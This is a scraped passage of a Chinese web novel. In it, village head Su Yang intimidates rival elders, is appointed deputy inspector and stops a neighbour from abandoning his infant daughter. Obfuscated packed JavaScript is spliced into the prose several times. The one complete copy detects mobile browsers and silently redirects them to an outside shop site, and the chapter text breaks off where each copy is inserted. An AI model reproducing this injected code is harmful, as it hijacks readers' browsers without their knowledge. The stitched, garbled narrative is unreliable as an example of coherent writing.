“刚才不是挺能说的吗,啊?” “一个个的,真以为自己还是个人物了?” 苏阳一边说着,一边缓缓起身。 他每走一步,身上的气势就强盛一分。 走到几个老村正跟前的时候,他已经像一头下山的猛虎,随时准备择人而噬。 “别**给脸不要脸!” 苏阳的声音陡然拔高: “你们能全须全尾地坐在这儿,靠的是谁?” “是你们自己吗?啊!” “要不是老子带着人拼死拼活,你们早**被土匪砍了脑袋,扔到青虎岭喂狼去了!” 苏阳越说越气,唾沫阳子都快喷到几个村正脸上了。 “现在倒好,一个个的都跟老子装起大爷来了!” “真以为老子是泥捏的,好欺负是吧?” 几个村正被苏阳骂得狗血淋头,却连个屁都不敢放。 没办法,谁让苏阳说的是事实呢? 更何况,就苏阳这身板,这气势,真要动起手来,他们这几个老家伙还真不够看。 苏阳骂完几个老家伙,又把矛头对准了乜明生。 “还有你,姓沙的。” 苏阳走到乜明生面前,居高临下地看着他: “别以为自己当了个村正就多了不起了。” “在我眼里,你连个屁都不算!” 乜明生只觉得一股寒气从脚底板直冲天灵盖。 他想反驳,想破口大骂,可话到嘴边,却怎么也说不出口。 他毫不怀疑,只要自己敢说一个“不”字,苏阳的拳头就会立刻砸到自己脸上。 “我……” 乜明生的声音干涩沙哑,像被人掐住了喉咙。 王麻山站在一旁,大气都不敢出。 他偷偷打量着苏阳,心里掀起了惊涛骇浪。 乖乖,这还是我认识的那个苏二吗? 以前只觉得他是个有点小聪明,有点小滑头的乡下小子。 可现在看来,这哪里是乡下小子,分明是条过江猛龙啊! 苏阳可不管别人怎么想。 他继续用冰冷的目光扫视着在场的每一个村正。 所有人都不敢直视他的眼睛,全都低着头,装起了鹌鹑。 这些老家伙,平日里作威作福惯了,真以为谁都怕他们呢? 今天就让他们知道知道,什么叫马王爷三只眼! 就在这时,苏阳脸上的表情突然一变。 他收起了刚才那副凶神恶煞的样子,换上了一副笑脸。 这变脸的速度,比翻书还快。 “哎呀,看看我,这是干什么呀!” 苏阳一拍脑门,像是突然醒悟过来一样: “各位老哥哥,老叔叔,刚才都是我不好,太冲动了!” “你们可千万别往心里去啊!” 他一边说着,一边走到王麻山身边,一把搂住了他的肩膀。 “王老哥,你说是吧?” “咱们可是过命的交情,我还能真跟你生气不成?” 王麻山被他搂得龇牙咧嘴,感觉骨头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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跟在他身后的,除了郑县尉和严都生,还有几个陌生的面孔。 那些人一个个身着劲装,腰挎长刀,显然不是寻常的衙役。 第三百一十三章 “都到齐了?” 李县令的目光在众人身上扫过,不怒自威。 几个村正连忙躬身行礼,齐声说道: “回禀大人,都到齐了。” 李县令微微颔首,缓步走到众人面前。 他先是环视了一圈,然后才慢条斯理地开口: “今日召集诸位前来,所为何事,想必你们都已经知晓了。” 他顿了顿,语气变得严肃起来: “三溪镇巡检一职,空缺已久,于地方不利。本官今日前来,便是要与诸位商议,推举一位德才兼备之人,担任此职。” 他话音刚落,几个村正的目光便“唰”的一下,齐刷刷地落在了苏阳身上。 那眼神,有惊讶,有忌惮,有不甘,也有幸灾乐祸。 原本还算平静的场面,顿时变得暗流涌动起来。 苏阳心中冷笑,这帮老狐狸,又想故技重施? 可惜,你们打错算盘了! 他上前一步,朗声说道: “李大人,各位前辈,晚辈苏阳,忝为青龙村村正。自认才疏学浅,实难担当巡检重任。” 他这番话,说得谦逊得体,却又暗藏机锋。 既表明了自己的态度,又将了那帮老家伙一军。 你们不是想看我出丑吗? 我就偏不如你们的意! 李县令闻言,眼中闪过一丝诧异。 他上下打量了苏阳一番,似乎想从他身上看出些什么。 可苏阳却始终保持着一副平静的表情,让人捉摸不透。 “苏村正不必过谦。” 李县令摆了摆手,示意苏阳稍安勿躁。 “既然诸位都举荐你,想必你定有过人之处。” 他顿了顿,继续说道: “这样吧,你们各村都派个人出来,说一说推举的理由。本官也好综合考量,择优而任。” 李县令此言一出,原本鸦雀无声的几个村正,立刻像炸开了锅一样,七嘴八舌地议论了起来。 “大人,苏阳年轻气盛,恐怕难以服众啊!” “是啊,大人,他才当了几天村正?哪有什么经验?” “依我看,还是从咱们几个老家伙里面选一个吧,稳妥!” …… 听着这些人的议论,苏阳心中冷笑。 这帮老家伙,还真是不到黄河不死心啊! 既然如此,那就别怪我不客气了! 他正要开口反驳,却见李县令突然摆了摆手,示意众人安静。 “好了,都别吵了。” 李县令皱了皱眉头,显然对这些人的表现有些不满。 “既然你们都说苏阳年轻,那就让他先说说吧。” 他转头看向苏阳,语气缓和了一些: “苏村正,你可有什么要说的?” 苏阳等的就是这句话! 他清了清嗓子,朗声说道: “李大人,各位前辈,既然你们都这么说了,那我就斗胆说几句。” 他先是向李县令拱了拱手,然后又向四周的村正团团一揖: “我苏阳,自问对三溪镇的情况,还是比较了解的。” “自打我当上青龙村村正以来,一直兢兢业业,不敢有丝毫懈怠。” “剿灭青虎岭土匪,保一方平安,这是我的职责所在,也是我应尽的义务。” 他顿了顿,语气变得激昂起来: “至于说我年轻,没有经验,这更是无稽之谈!” “想当年,甘罗十二岁拜相,周瑜二十四岁统领三军,难道他们也没有经验吗?” “英雄出少年,自古皆然!” “我苏阳虽然不才,但也愿意为三溪镇的百姓,贡献自己的一份力量!” 他这番话说得慷慨激昂,掷地有声。 不仅驳斥了那些老家伙的质疑,还表明了自己的决心和抱负。 李县令听了,也不禁微微点头。 他原本以为,苏阳只是一个有些武力的莽夫。 可现在看来,此人不仅有勇,而且有谋,更有一颗为民之心。 这倒是让他有些刮目相看了。 几个老村正面面相觑,都从对方眼中看到了震惊和懊悔。 他们万万没想到,苏阳竟然如此能言善辩。 这下可好,偷鸡不成蚀把米,反倒让这小子在县令面前出了风头! 其中一个老村正还不死心,他梗着脖子说道: “苏阳,你别光说不练!你倒是说说,如果你当了巡检,打算怎么做?” 苏阳微微一笑,似乎早就料到会有人这么问。 “这位老前辈问得好!” 他朗声说道: “如果我当了巡检,首先要做的,就是整顿吏治,肃清风气!” “三溪镇之所以匪患猖獗,百姓生活困苦,就是因为官府**,吏治败坏!” “只有铲除这些毒瘤,才能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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比起去县衙里看人脸色,他在青龙村当个土霸王不香吗? 第三百一十四章 “大人,万万不可啊!”苏阳急了,也顾不上什么礼数,直接打断了李县令的话头,“您是不知道,青龙村刚经历了一场大变故,前任村正不幸过世,村里现在人心惶惶,正需要人主持大局。我要是这时候离开,那可就……” 他一边说着,一边暗中观察着李县令的表情,见他似乎有些动摇,连忙又加了一把火。 “青龙村的穷,那是出了名的,说出来您可能不信,村里好些人家,全家就指着几亩薄地过活,一年到头,连顿饱饭都吃不上……” 苏阳越说越激动,就差声泪俱下了。 就这演技,不拿个小金人真是可惜了。 李县令起初还饶有兴致地听着,可听着听着,脸色就变了。 这小子,怎么跟个说书先生似的,还没完了? 再让他说下去,自己这县衙还不得被他给哭塌了? 不成,不成,这小子不能留在县衙! 李县令当机立断,但郑县尉的面子,多少还是要给一点的。 “这样吧,”李县令手指在桌面上点了点,慢悠悠地说,“郑县尉,既然你这么看好他,那就让他……做个三溪镇的副巡检吧。” 话音刚落,堂上瞬间炸开了锅。 众村正一个个目瞪口呆,像是见了鬼一样。 苏二这小子,走了什么狗屎运? 竟然一步登天,当上了副巡检? 这……这也太离谱了吧! 几个村正互相交换着眼神,都在心里琢磨,这小子到底给县令灌了什么**汤? 刚才他们几个还合起伙来,想给苏阳使绊子。 结果可好,偷鸡不成蚀把米。 非但没把苏阳怎么样,反倒把他送上了更高的位置! 几个老家伙心里那叫一个憋屈,就跟吞了苍蝇似的。 郑县尉也没料到会是这个结果,脸色顿时阴沉下来。 他原本打的如意算盘,是想借推荐苏阳的机会,既能在李县令面前卖个好,又能把苏阳拉到自己这边来。 谁知道,李县令这老狐狸,竟然来了这么一手! 一个副巡检,说大不大,说小不小。 可偏偏就卡在节骨眼上,让人不上不下,难受得要命! 严都生心里也是七上八下,不是个滋味。 他跟苏阳虽然打过交道,但交情归交情,这冷不丁地冒出来个副手,换谁都得掂量掂量。 更别说,这个副手还是县令亲自点的将。 这以后的工作,还怎么开展? 苏阳暗中观察着众人的反应,心里得意极了。 他也没想到,自己竟然会歪打正着,捞了个副巡检的官职。 不过,这官职具体是做什么的,他还真有点摸不着头脑。 “年轻人,好好干,以后三溪镇的治安,可就指望你了!” 李县令一句话,算是给这件事定了性。 至于苏阳愿不愿意,他根本不在乎。 在他看来,能给郑县尉添点堵,这趟就没白来。 苏阳见事已至此,再推辞也没什么意义,索性大大方方地应了下来。 不就是个副巡检嘛,兵来将挡,水来土掩就是了。 李县令完成了对苏阳和严都生的任命,心满意足。 他站起身,大手一挥,带着衙役们浩浩荡荡地回城了。 郑县尉脸色铁青,也跟着离开了巡检司。 一场闹剧,就此收场。 屋子里,只剩下几个村正,大眼瞪小眼。 “恭喜严巡检,贺喜严巡检!” 沉默半晌,终于有人反应过来,连忙向严都生道喜。 几个人你一言我一语,总算是把气氛给缓和过来。 “苏巡检,您也高升了,恭喜恭喜!” 有人开了头,剩下的村正,也只得硬着头皮,向苏阳道贺。 那语气,要多别扭有多别扭。 苏阳脸上笑眯眯,心里乐开了花。 他也不多说什么,只是一个劲儿地拱手回礼。 严巡检虽然心里不舒服,但场面上的功夫还是要做足。 他特意把苏阳拉到一边,嘘寒问暖,还给他安排了一间宽敞的办公室。 甚至还拨了几个精干的差役,供苏阳差遣。 “苏老弟,老哥知道你是个能人,不过这巡检司里的事务,你也不用操心太多,有老哥在,出不了岔子。” 严巡检拍着胸脯,说得那叫一个敞亮。 “多谢严巡检关照,不过我这人闲不住,青龙村那边的事儿也多,以后要是有什么需要帮忙的,您尽管开口。” 苏阳也是个人精,哪能听不出严巡检话里的意思? 两人寒暄了一番,便各自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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几个村正的眼睛都快红出血了,心里那叫一个酸,比灌了一缸老陈醋还酸。 凭什么啊? 就因为这小子走了狗屎运,抱上了严巡检的大腿? 第三百一十五章 可这副巡检,又不入流,说白了就是个跑腿的,有什么了不起? 这些话,他们也就在心里骂骂咧咧,打死也不敢说出来。 严巡检新官上任,正是立威的时候,谁敢去捋虎须? 官大一级压**,更何况巡检收拾他们这些村正,就跟玩儿似的。 心里憋着火,几个村正只能把希望寄托在苏阳身上。 谁让他是青龙村出来的呢? 都是乡里乡亲的,你不帮我们,谁帮我们? “苏老弟,你可得替咱们美言几句啊!” 一个村正厚着脸皮凑上来,那张老脸笑得跟菊花似的。 “是啊,苏老弟,四十石粮食,咱们几个村子可怎么凑啊?” 另一个村正也紧随其后,唉声叹气,就差没哭出来了。 几个村正围着苏阳,你一言我一语,诉苦求情,就差没给他跪下了。 苏阳却像是聋了哑了,眼皮都不抬一下,一副事不关己的模样。 开什么玩笑,这帮老狐狸,个个都精得跟人精似的,还想把自己当枪使? 做梦去吧! 严巡检这火,谁也拦不住,这是铁板钉钉的事。 与其在这儿浪费时间,还不如早点回去,想想怎么让青龙村过上好日子。 几个村正见苏阳不理他们,面面相觑,心里早就把苏阳骂了个底朝天。 …… “阳哥儿,你这是……” 苏阳刚走出巡检司大门,就被自家兄弟们围了个水泄不通,一个个伸长了脖子,像是要看西洋景。 他今天穿的是便服,可现在……竟然换上了一身官服! “这……这是官服?” 眼尖的小子,已经认出了苏阳身上衣服的来头。 “阳哥儿,你当官了?” 另一个小子声音发颤,激动得不行。 “莫非……是巡检老爷?” 一个胆子大的,声音都变了调,几乎是在尖叫。 “阳哥儿,巡检老爷!” 陈木生这憨货,直接就嚷嚷开了,嗓门大得吓人。 “咱们青龙村要发达啦!” 周木生也跟着起哄,兴奋得直跳脚。 巡检司门口瞬间炸开了锅,像是一窝被捅了的马蜂。 苏阳的小子们,一个个都跟磕了药似的,又蹦又跳,就差没放鞭炮庆祝了。 这动静,立马就引来了不少看热闹的。 “这小伙子是谁啊?” 一个老麻爷拄着拐杖,颤颤巍巍地挤过来。 “听说是新来的巡检!” 旁边一个年轻人指着苏阳说。 “巡检?这么年轻?” 老麻爷显然不太相信,眼睛瞪得老麻。 “该不会是假的吧?” 人群中开始有人窃窃私语。 “我知道他!他是青龙村的苏村正!” 突然,人群中有人认出了苏阳。 “村正?村正怎么会穿官服?” “难道他升官了?” “升官?升什么官?” “不知道啊……” 苏阳被这帮小子吵得头疼,连忙大喊一声:“都给我闭嘴!” 这一嗓子,中气十足,把所有人都吓了一跳。 “都围在这儿干什么?想**啊?” 苏阳瞪着眼睛,扫视了一圈。 “谁再敢胡说八道,小心我把他抓起来!” 人群瞬间安静下来,鸦雀无声。 苏阳深吸一口气,尽量让自己的语气平和一些: “新来的巡检是严都生,我不过是他手下的一条狗,协助他管理三溪镇的治安。” “副手?” “副手是什么官?” “不知道啊……” “好像不是巡检……” 人群中响起一阵嗡嗡的议论声,不少人脸上都露出了失望的神色。 原本还以为来了个年轻有为的巡检老爷,没想到只是个副手。 苏阳手下的那帮小子,也像是被浇了一盆冷水,一个个都傻眼了。 “阳哥儿,你要是去三溪镇当差,那咱们青龙村怎么办?” 一个小子哭丧着脸,眼泪都快掉下来了。 “是啊,阳哥儿,你可不能不管我们啊!” 另一个小子也急了,声音里带着哭腔。 “阳哥儿,你要是走了,俺们可怎么办啊?” 几个小子说着说着,竟然呜呜地哭了起来。 哭声越来越大,像是要淹没整个巡检司。 这哭声,让三溪镇的百姓都看呆了。 他们从来没见过,小小村正居然这么有面子。 这苏阳,得是个多好的人啊! 苏阳看着这帮哭哭啼啼的小子,哭笑不得。 这帮家伙,也太能联想了,简直比戏台上的戏子还能演。 不过,看在他们这么关心自己的份上,就不跟他们计较了。 “都给我把眼泪擦干净!” 苏阳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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二娃子一拍大腿,语气里是满满的钦佩。 “就是,刚上任就给咱们村省了这么多粮食,这得省多少力气! 第三百一十六章 ” 石头也跟着附和,眉飞色舞。 “以后看谁还敢小瞧咱们青龙村!” 虎娃挥了挥拳头,仿佛已经看到了青龙村扬眉吐气的那一天。 “阳哥儿,当了副巡检,是不是就不用服徭役了?” 木蛋挠了挠头,问出了一个大家都关心的问题。 “就算服徭役,肯定也能捞个轻省的活计吧?” 生子也插了一句,满脸期待。 在大元朝,老百姓最怕的不是交税,而是服徭役。 税虽然重,但咬咬牙还能挺过去。 徭役却是要命的勾当,每次都有人去了就回不来。 就算能全须全尾地回来,也难免落下一身伤病。 要是苏阳真能让大家少服徭役,那可真是积了大德了! 一想到这些,小子们更是恨不得插上翅膀飞回村里,把这个天大的好消息告诉乡亲们。 …… “嗯?” 眼瞅着就要到青龙村了,苏阳突然一抬手,示意大家停下。 二娃子一个急刹,差点没直接趴在冰面上:“阳哥儿,咋了?” “嘘,小点声!” 苏阳做了个噤声的手势,指了指前方,示意大家仔细听。 小子们虽然不明所以,但还是立刻照办,一个个屏气凝神,竖起了耳朵。 由于惯性,队伍还是向前滑出了一段距离,有几个小子没控制住平衡,险些摔倒。 很快,大家就知道苏阳为什么让他们停下了。 一阵隐隐约约的哭声,顺着寒风飘了过来。 那哭声,像是一条细细的线,在冬日的寒风里飘摇,牵扯着人的心。 “谁家在哭?” 二娃子缩了缩脖子,压低声音问。 “大冬天的,不在屋里待着,跑出来哭啥?” 石头搓了搓手,哈出一口白气。 木蛋左右看了看,脸色有些发白:“该不会是……碰上啥不干净的东西了吧?” 这里距离青龙村不过几百米。 虽说不远,可大冬天,也跟荒郊野外差不了多少。 “别瞎说!” 虎娃瞪了木蛋一眼,“听这声音,像是个女人,还带着个娃。” 苏阳没说话,示意大家继续听。 他把队伍带到卧龙沟南岸,利用地形的落差隐蔽起来。 哭声断断续续,越来越近,确实是从南岸传过来的。 “……孩子他爹……求你……孩子……” 女人的声音很低,带着浓重的哭腔,几乎听不清在说什么。 突然,一个男人的声音,闷雷一样炸响: “你给老子闭嘴!” 紧接着,是女人更低更压抑的哭声。 “这声音……咋这么耳熟?” 二娃子挠挠头,感觉好像在哪儿听过。 “好像是……陈二姐?” 虎娃迟疑了一下,不太确定。 随着声音越来越近,哭喊和争吵声也越来越清晰。 “他爹,你行行好,留下娃吧,她也是你的骨肉啊!” 陈二姐的声音已经嘶哑,带着绝望的哀求。 “留?拿啥留?你养她?还是我养她?一家子都快饿**,还养个赔钱货?” 倪老远的声音又粗又暴,像是一头发怒的野兽。 “我养!我去干活!我挣口粮养她!” 陈二姐的声音里带着一丝希望,仿佛抓住了一根救命稻草。 “你敢!” 倪老远的怒吼声更大了,“你要是敢去给苏二干活,老子打断你的腿!” 苏阳听着,眉头紧锁。 小子们则是脸色铁青,拳头攥得咯咯响。 他们终于听明白了。 这是有人要溺死刚出生的女婴! 这事,搁在平时,他们虽然心里不舒服,可也没法说什么。 毕竟,这年月,家家都难,养不活孩子,也是没法子的事情。 可如今,阳哥儿刚当了官。 阳哥儿刚给村里免了四十石粮食! 这时候,还发生这种事,这不就是打阳哥儿的脸吗! 苏阳的心里,更是像被针扎一样疼。 他想起了前世的小堂妹,想起了那些被拐卖的孩子。 一股无名火,直冲脑门。 他不能允许这种事情发生,绝对不能! 他深吸一口气,指了指脚下的雪橇,打了个手势。 二娃子他们立刻会意,弯下腰,开始默默地解雪橇上的绳子。 “倪老远,你**还是不是人!” 就在这时,虎娃突然跳了起来,指着岸上破口大骂。 “谁?谁在那儿?” 倪老远被吓了一跳,惊恐地四处张望。 苏阳也愣住了,没想到虎娃这么冲动。 不过,既 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陈二姐的声音,细若蚊蝇,断断续续地从岸上传来,仿佛随时都会被寒风吹散。 “你个臭婆娘,给老子闭嘴!” 倪老远的怒吼声,像炸雷一样,震得人耳膜嗡嗡作响, “要不是你勾搭苏二,他能大半夜不睡觉,跑到这冰天雪地里来? 第三百一十七章 你当我倪老远是傻子吗?还村正,我呸!他算个什么东西!” “嘎嘎……” “咯咯……” “咕咕……” 小子们想笑又不敢笑,一个个憋得脸红脖子粗,肩膀一耸一耸的,像是在抽搐。 苏阳恨不得找个冰窟窿钻进去。他真想把这帮看热闹不嫌事大的家伙一个个都扔进去,让他们好好凉快凉快! 突然,女人的哭声陡然拔高,像是被逼到了绝境,发出的最后一声哀鸣。 苏阳心里咯噔一下,暗道不好。 这声音,分明是已经到了沟边! 听这动静,倪老远是真打算把孩子扔进卧龙沟里。 从这种高度丢下来,别说孩子,就是大人也得摔个半死! “别……当家的……求求你……别扔……” 陈二姐的声音嘶哑而又绝望,每一个字都像是从心底里泣出的血。 苏阳再也顾不得许多,必须立刻阻止! “嗷……嗷呜……” 一阵低沉而又悠长的狼嚎声,突兀地在冰天雪地里响起,仿佛是从远古洪荒中传来,带着一股苍凉和野性。 岸上,正撕扯着陈二姐的倪老远,浑身一哆嗦,像是被定身术定住了一样,僵在了原地。 “狼……狼嚎……” 他结结巴巴地,声音颤抖得不成样子,脸色刷的一下变得惨白如纸。 “快……跑……” 倪老远也顾不上陈二姐了,撒腿就跑,那速度,比兔子还快。 “当家的……你……孩子……俺的孩子……” 陈二姐还想挣扎,可哪里是倪老远的对手,被他硬生生拖着,踉踉跄跄地往前跑。 “嗷呜……嗷呜……” 一众小子们全都张大了嘴巴,下巴差点掉到地上。 这声音……是从哪儿来的? 他们面面相觑,一个个眼神里都充满了震惊和疑惑。 阳哥儿啥时候学会狼叫了? 这叫声,简直和真狼一模一样,听得人头皮发麻! 苏阳领着众人,连滚带爬地从卧龙沟里爬上来。刚一露头,发现地上躺着个小婴儿。 小家伙被裹在一块破旧的麻布里,小脸蛋冻得发紫,嘴唇发乌,哭到声嘶力竭。 苏阳的心,像是被一只无形的手狠狠捏住,疼得他几乎窒息。 不远处,倪老远拽着陈二姐,跌跌撞撞地,正往远处跑。 嘣! 苏阳想都没想,抬手就是一**,**箭带着尖锐的破空声,直奔倪老远的后背而去。 “阳哥儿,你这是……” 小子们吓得魂飞魄散,一个个脸色煞白,两腿发软,差点没瘫在地上。 在他们看来,阳哥儿这是动了真格,要**啊! 难道……阳哥儿真的看上了陈二姐,想杀了倪老远,来个英雄救美? 不好,射偏了! “阳哥儿,要不……俺来?” 孔远山自告奋勇地举起了蹬张**,脸上闪过一丝跃跃欲试。 他不怕见血,就怕在苏阳面前没有用武之地。 既然苏阳想做掉倪老远,自己就帮他一把,也算是在他面前立个功! “孔远山,你小子是不是皮痒了?” 苏阳眼疾手快,一脚踹在孔远山的屁股上,把他踹了个趔趄,差点摔个狗吃屎。 孔远山捂着屁股,一脸的委屈和不解, “阳哥儿,你……你不是要杀倪老远吗?俺……俺帮你……” “都给老子闭嘴!”苏阳怒吼一声,眼睛瞪得像铜铃,声音里充满了怒火,“你们一个个的,脑子里都装的啥?浆糊吗?都觉得老子要杀倪老远?” “没……没有的事……” “谁敢这么想……” “俺们绝对不信……” 小子们连忙摇头否认,脑袋摇得跟拨浪鼓似的,恨不得把脑袋摇下来。 可是,他们的眼神,却分明在说:你就是想杀倪老远,我们早就看穿你了! “你们……”苏阳气得浑身发抖,指着这帮小子,你了半天,却说不出话来,胸口剧烈地起伏着,“好,好,你们行!你们给老子好好想想,我要是真想杀倪老远,用得着射偏吗?” 他越说越激动,声音都有些嘶哑了。 可这帮小子,还是一副“你别解释,我们都懂”的表情,眼神里充满了怀疑和不信任,就差没在脸上写着“鬼才信你”四个大字了。 倪老远这会儿已经吓得魂不附体了,扑通一声跪在地上,像一滩烂泥一样瘫软在那里。 一支**箭,就插在他身前不远的地方,箭尾还在微微颤动,闪着寒光。 他毫不怀疑,只要自己刚才反应再慢一点,现在已经是一具尸体了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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离村时还是个泥腿子,转眼间就穿上了官袍,这消息像风一样刮遍了全村。 第三百一十八章 “啥?苏二当官了?还是巡检?” “不能吧,他才多大?**都没长齐,咋就一步登天了?” “哎哟,这可是祖坟冒青烟了!阳哥儿当了巡检,咱青龙村的好日子要来啦!” 突然,人群里一个嗓门大的婆娘嚷了一句:“这下好了,咱村是不是再也不用干苦力了?” “对啊!再也不用干苦力了,这日子可就好过咯!” “……” 苏阳一看这架势,心想:坏了! 流言越传越邪乎!再不解释,恐怕要出大事! 眼下说自己当官还好,万一有人瞎传,说自己和陈二姐不清不楚,那就真是有嘴说不清了。 必须得赶紧澄清! 哐!哐!哐! 铜锣声震天响,把村里村外的人都给招呼了过来。 不管是在家闲聊的,还是在卧龙沟北岸厂区上干活的,听到这锣声,一个个都跟兔子似的,往村里的晒粮场跑。 这可是苏阳穿上官袍后头一回召集大伙,谁敢怠慢? “咦?那不是倪老远吗?咋还被绑起来了?” “可不是咋地!这小子平时就不是个东西,怕是得罪村正了?” 有人开始瞎琢磨:“话说,村正当年是不是调戏过他婆娘?莫不是倪老远怀恨在心,想使坏?” “呸!他算个屁!敢动阳哥儿一根汗**,老子弄死他!” “……” 晒粮场上人头攒动,议论纷纷。 苏阳站到高处,示意大家安静。 他清了清嗓子,故意压低了声音:“各位乡亲,静一静!我得跟大家说个事儿。我还没这个命,就是……给巡检大人跑跑腿……” 话还没说完,那些跟苏阳去过三溪镇的小子们,齐刷刷地翻了个白眼。 又来了! 阳哥儿这是**病又犯了! 当初在三溪镇,苏阳也这么说过。先说自己是巡检的副手,把大伙儿吓得够呛。后来才知道,那是副巡检! “阳哥儿啊阳哥儿,您这套路能不能换换?”几个小子心里嘀咕。 果不其然,青龙村的人比三溪镇的人还??????(天真)。 “唉,我还以为苏二这小子真飞黄腾达了呢,闹了半天,就是个跟班啊!” “跟班咋了?能给巡检老爷当跟班,那也比咱们强!” “哼,说到底还不是个下人,有啥出息!” 人群里,一个声音格外刺耳:“哎,阳哥儿去了三溪镇,那咱青龙村的村正谁来当?” “这……这可咋整?” “……” 一时间,晒粮场上炸开了锅。 苏阳一看火候差不多了,这才慢悠悠地说:“我刚回村的时候,看到倪老远在那儿扔孩子,你们说,这事儿该咋办?” 这话锋转得太快,让人猝不及防。 跟苏阳去过三溪镇的小子们心里都是一惊。 不对劲啊! 阳哥儿这是要干啥? 在三溪镇的时候,他可不是这么干的啊! 现在咋直接跳过这一步,说起倪老远的事了? 有阴谋! 得小心点,可别再被阳哥儿给坑了! 这些小子心里跟明镜似的,可青龙村的村民们不知道啊。 那些平时和苏阳不对付的,见他当了个下人还这么拽,立马就不乐意了,几个刺头跳了出来,阴阳怪气地挤兑苏阳。 “苏二,你现在是人家的跟班,还管咱青龙村的闲事干啥?” “就是!人家倪老远养不活孩子,扔了咋啦?谁家还没扔过几个娃?” 一个满脸横肉的汉子,脖子一梗,瞪着苏阳:“哼,我家还扔过俩呢!咋的,你还能咬我不成?” “……” 几个刺头跳出来,把苏阳往死里怼。 跟苏阳去过三溪镇的小子们直摇头。 完了,完了! 这几个蠢货,这下可惹了**烦了! 没跟苏阳去过三溪镇的那帮小子,这会儿也以为苏阳要离开青龙村。 有人急得直跺脚,还有人想跟苏阳一起去三溪镇,给他端茶倒水。甚至有人说,就算没饭吃,也要跟着苏阳。 “阳哥儿,你要去哪儿,俺就去哪儿!哪怕是给你牵马坠蹬都中!” “就是,咱不能让你一个人去三溪镇受气!” 还有人哭丧着脸,问家里的工程怎么办。 “村正,你走了,家里的活儿咋办啊?咱一家老小全靠这个过日子!” “……” 苏阳一看这情况,乱糟糟的,必须得有人出来说句话。 他使了个眼色,示意孔远山站出来。 孔远山早就憋不住了。 这群没脑子的,居然敢黑我兄弟,真是活腻歪了! 他跳到高处,扯着嗓门喊道:“都给老子闭嘴!听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16574583|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好了!村正说的‘副手’,可不是你们想的那种下人!那是县太爷亲口封的副巡检!懂吗?副巡检!” 孔远山特意把“副巡检”三个字咬得特别重,生怕别人听不清。 “啥?副……副巡检?” 孔远山这一嗓子,把所有人都给镇住了。 村里人都看傻了,一个个张大了嘴巴,说不出话来。 尤其是那些想看苏阳笑话的,更是惊得下巴都快掉地上了。 “这……这不可能!” “孔远山,你……你是不是在放飞自我?” “……” 几个刚才还上蹿下跳的刺头,这会儿全蔫了。 孔远山压根儿没搭理他们,继续说道:“你们知道不?要不是村正混上了这个位置,你们就等着哭吧!新来的巡检老爷,心黑着呢,让每个村都交四十石粮食出来!要不是村正,你们就等着饿肚子吧!” “啊?” 不少村民听了这话,吓出了一身冷汗。 这大冬天的,本来就快揭不开锅了,要是再让交四十石粮食,那不是要人命吗? “村正,你简直就是活**!” “啥村正?得称呼大人!” “大人简直就是我们的救星!” “……” 村民们激动得语无伦次,各种好话不要钱似的往外冒。 苏阳有点不好意思地摸了摸鼻子。 这帮乡亲,哪儿都好,就是太实诚了。 刚才那几个跳梁小丑…… 哼,来日方长! 他清了清嗓子,提高了声音:“各位乡亲,粮食的事儿,回头再说。现在,先说说倪老远扔孩子这事儿!”“……哪个不开眼的敢欺负我的子民,我定让他吃不了兜着走!” 苏阳声色俱厉,说话间,浓眉紧锁,眼中似有火焰跳动。 “诸位可都记住了?谁赞成,谁反对?” 话音未落,只听“蹭”的一声! 他猛地抽出腰间钢刀,手腕一甩。 唰! 利刃瞬间飞出,带着刺耳的破空声,直奔倪老远而去。 不偏不倚,正插在他面前的泥土里! 